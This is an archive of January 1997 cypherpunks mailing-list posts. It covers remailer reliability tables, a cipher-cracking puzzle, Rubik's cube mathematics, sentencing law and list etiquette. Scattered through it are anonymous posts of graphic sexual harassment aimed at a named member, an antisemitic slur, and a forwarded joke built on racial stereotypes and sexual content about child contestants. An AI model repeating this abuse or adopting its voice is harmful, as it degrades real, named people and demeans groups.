Date: Sun, 12 Jan 1997 16:36:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199701130035.BAA29808@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May's 16Kb brain's single convolution is directly wired 
to his rectum for input and his T1 mouth for output. That's 16K 
bits, not bytes. Anal intercourse has caused extensive brain 
damage.

         <o      o>  Timmy C. May
         /-+-- --+X
        />        <\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AwakenToMe@aol.com
Date: Mon, 13 Jan 1997 00:48:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ma Bell
Message-ID: <970113034802_38185389@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-01-11 15:36:31 EST, mindbenders@hotmail.com (LoRd
oRiOn) writes:

<< .why do Telco
 people and the government blame us hackers for costing them billions of
dollars
 a year to fix the security holes that they have??? >>

 Considering there is a LARGE workload on the employees as it is.. they dont
need more work suddenly that is unneeded. Basically EVERY system has some
kinds of security holes. If noone knows about them.. then it isnt a problem.
If someone is exploiting them and using money from the company illegaly (free
phone service) .. even though it may only be 5 of you doing it.. it has a
LARGE potential to become globally exploited by tons of people. So.. they
have to invest time and money to research the hole and fix it. Thats why.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 13 Jan 1997 02:17:19 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701120729.BAA03801@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970113050224.2874B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 12 Jan 1997, Igor Chudov @ home wrote:
> Nurdane Oksas wrote:
> > On Sat, 11 Jan 1997, Igor Chudov @ home wrote:
> > > Dr.Dimitri Vulis KOTM wrote:
> > > > Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> > > > >
> > > > > I would not favor a moderation policy that gave carte blanche to "good guys"
> > > > > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > > > > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > > > > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > > > > double standard.
> > > > 
> > > > Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> > > > 
> > > > Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> > > > Kagalenko has been banned from posting to s.c.r.m because he objected to its
> > > > creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).
> > > 
> > > but none of the posts in question had ever been posted to scrm.
> > 
> > 	You know well that Kagalenko is most rejected in scrm,
> > 	Poor guy ...not one post, how can that be..?
> 
> How can that be? A good question. It can be because Misha submits
> dozens of articles containing autogenerated garbage. He does it because
> he does not like our newsgroup. We moderators have no other choice
> but to reject these autogenerated articles because our charter prohibits
> us from approving them.

	Sure.

> To protect moderators from mailbombing our charter tells us to put
> such mailbombers into our blacklist, which I do.

	OK.
 
> Once a month I remove Misha from our blacklist, and let him know that
> he indeed had been removed. That usually results in another flood of
> bogus submissions.

	Well, i trust your judgment, not sure of other moderators.
 
[...]
> Apparently Misha likes it this way, and it probably lets him feel more
> important than he really is. Well, if that is so, I have no problem with
> that.
> 
> But I will not bow to him.

	:)

> That's the sad story.

	Thank you .





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 13 Jan 1997 06:53:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701131450.GAA22048@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 13 Jan 97 6:48:59 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
lucifer  lucifer@dhp.com                  ++++++++++++    37:22  99.99%
nym      config@nym.alias.net             **#*#*++#+-#    20:08  99.99%
weasel   config@weasel.owl.de             ++++++-++++   1:15:41  99.96%
mix      mixmaster@remail.obscura.com     +++++++.-++*  2:25:45  99.91%
replay   remailer@replay.com              *+* +--+*+**    35:43  99.87%
winsock  winsock@rigel.cyberpass.net      ------+----   2:54:30  99.81%
balls    remailer@huge.cajones.com        *+******+ **     4:00  99.67%
cyber    alias@alias.cyberpass.net        +++*+ +* +*+    35:01  99.61%
middle   middleman@jpunix.com             ----+++++ -+    53:56  99.60%
exon     remailer@remailer.nl.com         #**#**** ++#     2:26  99.24%
squirrel mix@squirrel.owl.de              ++++ +-++ +   1:18:06  99.21%
dustbin  dustman@athensnet.com            +_.--++-++-   4:39:11  99.18%
extropia remail@miron.vip.best.com        --- -------   4:46:40  98.01%
reno     middleman@cyberpass.net          - --++++   +  1:05:02  97.84%
lead     mix@zifi.genetics.utah.edu             ++++++    35:13  95.73%
haystack haystack@holy.cow.net            + ####++*       39:45  74.33%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 13 Jan 1997 05:59:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701131342.IAA04224@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's mother attempted to pro-choice the unwanted little bastard by 
fishing with a coat hanger in her giant cunt, but failed miserably to pull 
the rabbit and succeeded only in scraping out the contents of little Timmy's 
fetal cranium (not much to begin with).

        O      |'|
       /\      | | Timmy May
      /\ \-------|
     / / |-------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Mon, 13 Jan 1997 08:47:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fukkin Elite!
In-Reply-To: <199701101909.OAA12433@Arl-Mail-Svc-1.compuserve.com>
Message-ID: <Pine.LNX.3.95.970113084734.14439A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 10 Jan 1997 ice@win.bright.net wrote:

> Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If 
> you want to be Elite come to us. We're Here to help you become the
> Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
> Homepage:www.geocities.com/~pentiumru/icehtml.htm
> We Are THE BEST!! 
> So Check us OUT!

	Damn, maybe I should go watch the movie "Hackers" so I can be
elite too....

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KrAzY Girl <dcoelhok@nermal.santarosa.edu>
Date: Mon, 13 Jan 1997 09:37:36 -0800 (PST)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Fukkin Elite!
In-Reply-To: <Pine.BSF.3.91.970111181351.29780B-100000@mcfeely.bsfs.org>
Message-ID: <Pine.LNX.3.95.970113093412.3924A-100000@nermal.santarosa.edu>
MIME-Version: 1.0
Content-Type: text/plain


you guys aren't the "fukkin elite" if you have to go around tell people
that you're all that.
youre not. give me a "fukkin" break and take a "fukkin" english class. 


> 
> On Fri, 10 Jan 1997 ice@win.bright.net wrote:
> 
> > Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
> > Homepage:www.geocities.com/~pentiumru/icehtml.htm
> > We Are THE BEST!! 
> > So Check us OUT!
> > 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 13 Jan 1997 10:00:59 -0800 (PST)
To: "'MOESCH@aol.com>
Subject: RE: spamming
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970113175916Z-26201@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	MOESCH@aol.com

I saw your posting. What is your feelings about spamming?
.....................................................


It is presumptuous and annoying.  This list is aimed at discussions of a
distinct subject, and not intended to be available, like Usenet, to
random disturbances from disinterested parties.

   ..
Blanc

>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 13 Jan 1997 10:47:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: OTA papers
Message-ID: <v02140b00af00318b1fef@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I came across a couple of very good Office of Technology Assessment papers,
"Electronic Surveillance in a Digital Age (July 1995)."  Download the .pdf
at:

http://www.wws.princeton.edu/~ota/disk1/1995/9513_n.html

Another paper sure to be of interest to many CPs is the excellent
"Information Technologies for the Control of Money Laundering (September
1995)."  Get the .pdf at:

http://www.wws.princeton.edu/~ota/disk1/1995/9529_n.html

Its too bad OTA got the budgetary ax.  I met several of the staff and I
regarded them highly.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 11:01:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199701131901.LAA28570@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:04 PM 1/9/97 -0500, Black Unicorn wrote:
>On Wed, 8 Jan 1997, Mark M. wrote:
>
...

>Sentencing enhancements:
>
>There is a big book called the Federal Sentencing Guidelines Handbook (or
>some such).  To arrive at the appropriate sentence range, you add up the
>points of all the offenses the defendant was convicted of (Assume Bank
>Fraud is 18 points, Murder 35 or whatever- I dont remember them offhand)
>and run across a chart which has "criminal history catagory" on the
>vertical axis.  Where the two meet gives you the sentence range.  I'm not
>near my office right now, but if there is enough interest I will dig up
>the current handbook and run a sample sentencing through.
>
>The most common one I see is "Victims helpless or infirm" which usually
>boosts 2 to 5 points.
>
>Sentencing enhancements are not double jeapordy either.  I don't see how
>you can argue they are.  For example, there is a provision in bank fraud
>sentencing guidelines which enhances the sentence according to the size of
>the loss, and I believe there is a kicker if the financial institution
>folds.
>
>I believe the highest base offense level was "Espionage" or some such.
>
>There are also sentencing limiters.  "Defendant displays clear remorse."
>I think is one.
>
>Go out to a law book store and take a look at the guideline book.  It's
>actually a lot of fun.  "Ok, say I killed my wife for her coke stash and
>recruited my brother to dump the body..."
>
...
>> In one case, the defendant was convicted of possession of cocaine with intent
>> to distribute but was found not guilty of possession of a firearm related to
>> a drug charge (apparently, this is a crime).
>
>It's both a crime and an enhancement for most federal drug offenses.
>

I have seen in the paper where a person has been convicted of using a
scanner in the commition of a felony.  In my opinion, this is exactly how
crypto would be a crime, when using it in the commission of another crime.
In most cases, it seems, the scanner is used to monitor the police bands so
that the criminals will have advance warning when to hide thier actions.  Of
course, around here, a person owning a scanner for monitoring the police and
fire bands is normal.  It is just one more way of gathering news.
Please correct me if any of my facts are in error.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 13 Jan 1997 09:42:45 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: encryption program
In-Reply-To: <853170082.1023956.0@fatmans.demon.co.uk>
Message-ID: <199701131737.LAA04428@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


paul@fatmans.demon.co.uk wrote:
> 
> 
> > > * The two 'e's in the first word have different ciphertext equivalents,
> > >   so it's not a single-alphabet substitution
> > yes
> 
> Could be homophonic substitution or possibly (more probably, in my 
> estimation, polygram substitution. There is also the possibility of a 
> polyalphabetic cipher...
>  
> > I also likes "follows": "vkbcjtp" note how ll gets translated to "bc".
> > That suggest that after some encryption of each letter from the plaintext
> > there is a consecutively increasing number added.
> 
> This tends to suggest polyalphabetic substitution.

what do you mean, polyalphabetic substitution?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Mon, 13 Jan 1997 08:44:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA over Rubiks Cube
Message-ID: <970113114129_373924985@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



This problably wouldn't be to cool a thing to do.  A fella named Douglas
Hopstader(?) wrote a book called Meta-Mathematics (same guy who wrote The
Golden Knot).  In this book he developed (or showed, forget who should get
credit) an algorithm to solve Rubiks cube from any beginning state.

It makes for interesting reading, but kills any attempt to use the cube as a
cipher machine.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 11:45:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: It's a great new year!  telemarketers and solicitors
Message-ID: <199701131945.LAA29089@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM 1/9/97 -0500, relia@juno.com wrote:
...
> You have the RIGHT to have negative
>information removed in many instances. My partner and I have put together
>an easy to read, easy to use manual that will explain your rights and may help
>you restore your credit to A+ status. Why pay an attorney $2,000 or some 
>credit counselor $500 or more to do exactly what you can do for yourself?
>
>For less than $15, you can help yourself to better credit. We'll give you
>all the tools you need and explain exactly what to do.
...
>You've probably seen other offers or similar credit repair packages that
>promise overnight results. Anyone who promises a quick overnight fix is
>*lying* to you. It takes time and perseverance to fix your bad credit. 
>But, it can be done!
...
>Don't get ripped off and don't take bad advice that encourages you to break
>the law! Our system WORKS! Our credit repair manual will show you step by
>step how to do it yourself - and it's not hard to do!
...
> We purchased a
>mailing list of folks who should be interested in various products that
>we produce, but mailing lists can be wrong, and we don't want to take your
>time again unnecessarily.  Thanks for your help!
>
I understand that freedom of speech is a basic right, and I understand the
nature of public discourse which is unhindered being more valuable, even if
the signal to noise ratio is higher.
I also subscribe to the idea that in a forum where only speech is possible,
a persons use of that speech is the representation of that person.  (Not
that it never is otherwise.)
What I'm trying to get at is, when does freedom of speech in a "speech only"
environment" become soliciting?  To me, though it is only my opinion, it
seems that a telemarketer wishing to offer wares to a group on a mailing
list should get permission from the lists maintainer.  I apologize if this
is already the case, as my accusations would be pointless.
To me, it seems to be a breach of conduct for a company to use a mailing
list that is not thier own as a mass mailing technique.
Again, these are only my personal opinions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Mon, 13 Jan 1997 12:21:50 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: encryption program
Message-ID: <199701132018.MAA22362@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



I ran a quick Kappa test on it.  There was a nice fat spike at key
length 25, as somebody else suggested, but an almost perfect
correlation at 100.  The message is almost certainly a simple
polyalphabetic cipher with keylength 100.

I've been playing with it, and have maybe 5% of it decoded.  It's
full of really blatent clues.  Kind of fun.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nicolas J. Hammond" <njhm@ns.njh.com>
Date: Mon, 13 Jan 1997 09:02:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA over Rubics cube?
In-Reply-To: <32D9D750.7053@europa.com>
Message-ID: <199701131721.MAA16352@ns.njh.com>
MIME-Version: 1.0
Content-Type: text/plain


Pass me another! wrote ...
> cypherpunks@toad.com wrote:
> > 
> > Just for fun, not that I am sugesting it as a serious encryption
> > method, but has anyone tried exponetion cyphers on the group
> > defined by the Rubics cube? :)
> 
> well....I guess you didn't want a reply to your real email address,
> considering you'd be flamed like a 'mother$##@*(%'.  anyways....Just so
> YOU know I figured out the infamous Rubik's cube when I was 9 years
> old...no solution book, nothing, and beat the world record(ooooo what an
> accomplishment).  I just figured it out...so if I was 9.........geee 
> what do you think?  I could sit down and give you the mathmatical<sp>
> computations...but I have better things to do.  I hope your just trying
> to have a better understanding of cryptography standards, and future
> methods.  Maybe reading some information on algorithms....that might
> help....maybe calc 101  or ignorant 111..or jeez...do you even know
> binary?
> 
> -spanky

Am impressed that you were able to do this aged 9, though 9-yrs-olds
have been known to win US regional championships (back in the early 80s).

The mathematics behind the Rubik's cube are fairly complex and involve
set theory. One of the easiest ways to solve the cube is to find
commutators such that A.B.A'.B' can affect a small group.
Choose A and B so that they intersect in that small group.
Solve the cube by solving a small area and then incrementally build on 
that area until you have your solution. You need 4 "moves" - one
to flip corners, one to move corners, one to flip edges and one to
move edges. They are relatively easy to find if you know what to look for.

There are two "world records" associated with the cube - one is the
fastest time to solve a cube, normally done in competitions, one
is the shortest algorithm in terms of number of moves.
The former makes great TV. Minh Thai of the US won the only
world competition I'm aware of. His average time was 23 seconds.
Problem with competitions is that occasionally you can solve
it very quickly because of the initially pattern and that is why
competitions use averages, typically of at least 3 different timings.
I assume this is your "I beat the world record" claim.
It is common for someone to occasionally solve a cube in under 30 seconds, 
it is almost impossible to get an average under about 25 seconds.

[The only exception is what magicians Paul Daniels (British will know of him)
and David Copperfield (Americans know of him) have done on their TV shows.
They take a cube in front of a studio audience, throw it up in the air
and it is solved by the time it comes down. No camera tricks involved.
Paul did his in a show around 1981-1982, I saw David's TV show around 1988
but it was a repeat so I don't know when it first aired.]

The other "world record", shortest number of moves, is of much more
interest to mathematicians. God's algorithm (the theoretically minimum
number of moves) is 18 (see article on "Magic Cubology", Scientific American,
either March 81 or July 82). In others words you can, in theory, generate any 
pattern (or the reverse, solve any pattern) in 18 moves. 
The shortest actual algorithm used to be 52 moves my
Morwen B. Thistlewaite of England (early 1980s) however I hear that the 
Dutch Cube Club got this down to below 35 (1992).

Getting closer to God's Algorithm is an interesting exercise in 
Set Theory and in solving puzzles. It has some relevance to Cryptography,
but not too much.
Difference is in the mathematical basis of the underlying algorithms.

-- 
Nicolas Hammond                                 NJH Security Consulting, Inc.
njh@njh.com                                     211 East Wesley Road
404 262 1633                                    Atlanta
404 812 1984 (Fax)                              GA 30305-3774




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Mon, 13 Jan 1997 12:25:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
Message-ID: <199701132023.MAA22372@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> what do you mean, polyalphabetic substitution?

Someone can correct me if I'm wrong, but I believe it refers to a cipher
where each character is encrypted individually, using a different
monoalphabetic cipher for each one.  The ciphers repeat after
a certain period, usually the key length.

Vigenere is the simplest polyalphabetic cipher of them all, with
the individual ciphers simply being ROT-n.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Jan 1997 10:38:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New Carmen Sandiego shows announced
In-Reply-To: <Sa90.6d7a@clarinet.com>
Message-ID: <kFDH1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!panix!news.columbia.edu!sol.ctr.columbia.edu!news.msfc.nasa.gov!newsfeed.internetmci.com!howland.erols.net!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!news.idt.net!enews.sgi.com!lll-winken.llnl.gov!fugue.clari.net!funny-request
From: verax@mindspring.com (Serenleono, the Serene Lion)
Newsgroups: rec.humor.funny
Subject: New Carmen Sandiego shows announced
Keywords: chuckle, swearing, racial stereotypes
Message-ID: <Sa90.6d7a@clarinet.com>
Date: Fri, 10 Jan 97 19:30:03 EST
Organization: Lord Tower Productions (USA)
Lines: 57
Approved: funny-request@clari.net


	 BOSTON, M. A. (Freuder) - The two most popular
children's educational game shows -- "Where in the World is
Carmen Sandiego?" and "Where in Time is Carmen Sandiego?" --
now have two new siblings, according to an announcement made
today by WGHB Boston, one of the production entities that
owns the popular programs.   "Where in the World is Carmen
Sandiego?" is a game show which challenges young contestants
on their knowledge of world geography while they "track
down" the infamous villain Carmen Sandiego.  Similarly,
"Where in Time is Carmen Sandiego?" quizes children about
ancient and modern history.

Because of the enormous positive response received from
educators, parents' groups, and kids alike, WGHB Boston,
WPED Pittsburgh, and the Incorporation for Public
Broadcasting this week announced a new set of television
programs to expand their children's educational programming
group.  The two new incarnations will be entitled "Where Dat
Carmen Bitch At?" which challenges contestants on their
knowledge of racial stereotypes, and "Where the Fuck is
Carmen Sandiego?" which quizes young contestants on their
knowledge of the human reproductive system.

from the first broadcast of:
WHERE DAT CARMEN BITCH AT?

QUERIST:  "Okay, contestants, the next question is, 'What do
you call the white man when he oppresses your people?"

CONTESTANT TIMMY:  "A 'honkey'?"
CONTESTANT TRISHA:  "I answer, 'a jive-ass mother fucker'?"
CONTESTANT LAWANDA:  "I also say, 'a jive-ass mutha fucka.'"

QUERIST:  "Right you are, Trisha and Lawanda!  And may the
white man never forget what he has wrought against the tribe
of Shabaaz."


from the first broadcast of:
WHERE THE FUCK IS CARMEN SANDIEGO?

QUERIST:  "Okay, contestants, here's the next question in
our 'testosterone teaser round':  What is the name for
fellatio during which the penis is taken into the throat?"

CONTESTANT TIMMY:  "Uh, I answer a 'Madonna mouthwash'?"
CONTESTANT TRISHA:  "The 'mother of all blow jobs'?"
CONTESTANT LAWANDA:  "That's nasty!  Momma, get me off this
show!"

--
Selected by Jim Griffith.  MAIL your joke to funny@clari.net.
Attribute the joke's source if at all possible.  A Daemon will auto-reply.

Remember: Only ONE joke per submission.  Extra jokes may be rejected.
For the full submission guidelines, see http://comedy.clari.net/rhf/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 12:47:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: sendmail-type thing for Windows
Message-ID: <199701132047.MAA29859@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:00 PM 1/10/97 -0600, Igor Chudov wrote:
>Hi,
>
>Does anyone know of a simple program for windows that can, like
>sendmail, work as a mail agent ans send mail messages from its stdin? I
>am interested in sending email messages from Windoze boxes as part of
>some automated process driven by .BAT files.
>
>i.e., what I need is a program that I could invoke like this
>
>DOS> sendmail some@address.com
>From: sender@originator.com
>To: some@address.com
>Subject: hello
>
>hello
>
I don't know if this will help you, but, I have found that by typing win
winmine.exe at the dos prompt, I am taken straight to minesweeper.  The
program manager window is minimized in this example.
It seems that most of windows programs, when accessed from File/Run act like
command line programs, this is how the File Manager can bring up a text file
in the Write program.  I haven't tried it, but you might try nesting
arguments, for instance WIN WRITE FILE.TXT to see if it comes right up into
Write, working on file.txt.  I will have to get back to you on rather or not
this works, but if it does, and someone has cracked the windows macro
Recorder, such as what you described should be possible from a batch file.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 12:54:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Re: IMPORTANT: Additional information about UDCM.
Message-ID: <199701132054.MAA29945@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:13 PM 1/10/97 -0600, Igor Chudov wrote:
...
>I am also wondering, I am listed as visitor 189 on his web site. Under
>most optimistic assumptions, if *every* visitor bought his product, he would
>have made $40*188 = $7520.


Of course, it is possible that so many people visited his site that the
counter started over.
For instance, if the counter had 8 digits, perhaps you were visitor number
10000189.  Just a thought.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Jan 1997 13:56:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <dave_gellerman-ya023580001301971036010001@hernnews.us.newbridge.com>
Message-ID: <60FH1D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


dave_gellerman@newbridge.com (Dave Gellerman) writes:

> In article <01bbfde7$950f4820$fb1093cf@worldnet.worldnet.att.net>, "Tech"
> <TIER-1@worldnet.att.net> wrote:
> 
> > Feb 2,1997 (one 90 minute show) ref: www.pbs.org
> > 
> > bill_h <bill_h@azstarnet.com> wrote in article
> > <32D1F2C1.9B1@azstarnet.com>...
> > > Just caught a teaser on Public Television for an upcoming Mobile
> > > Masterpiece Theatre presentation billed as "the true story of
> > > Alan Turing" titled 'Breaking The Code'.
> > > 
> > > The little bit of clips they showed looked fascinating.
> > > 
> > > Is this a 'new' show or a re-run? Anybody know anything about it?
> > > 
> 
> From the pbs web site:
> 
> 
>        "Breaking the Code" (2/2) Based on the play by Hugh Whitemore and
> the book Alan Turing: the Enigma by
>        Andrew Hodges, this program tells the story of Turing (Derek
> Jacobi), the mathematical genius who was
>        responsible for designing the computer that enabled the allies to
> crack the German Enigma code and, some would
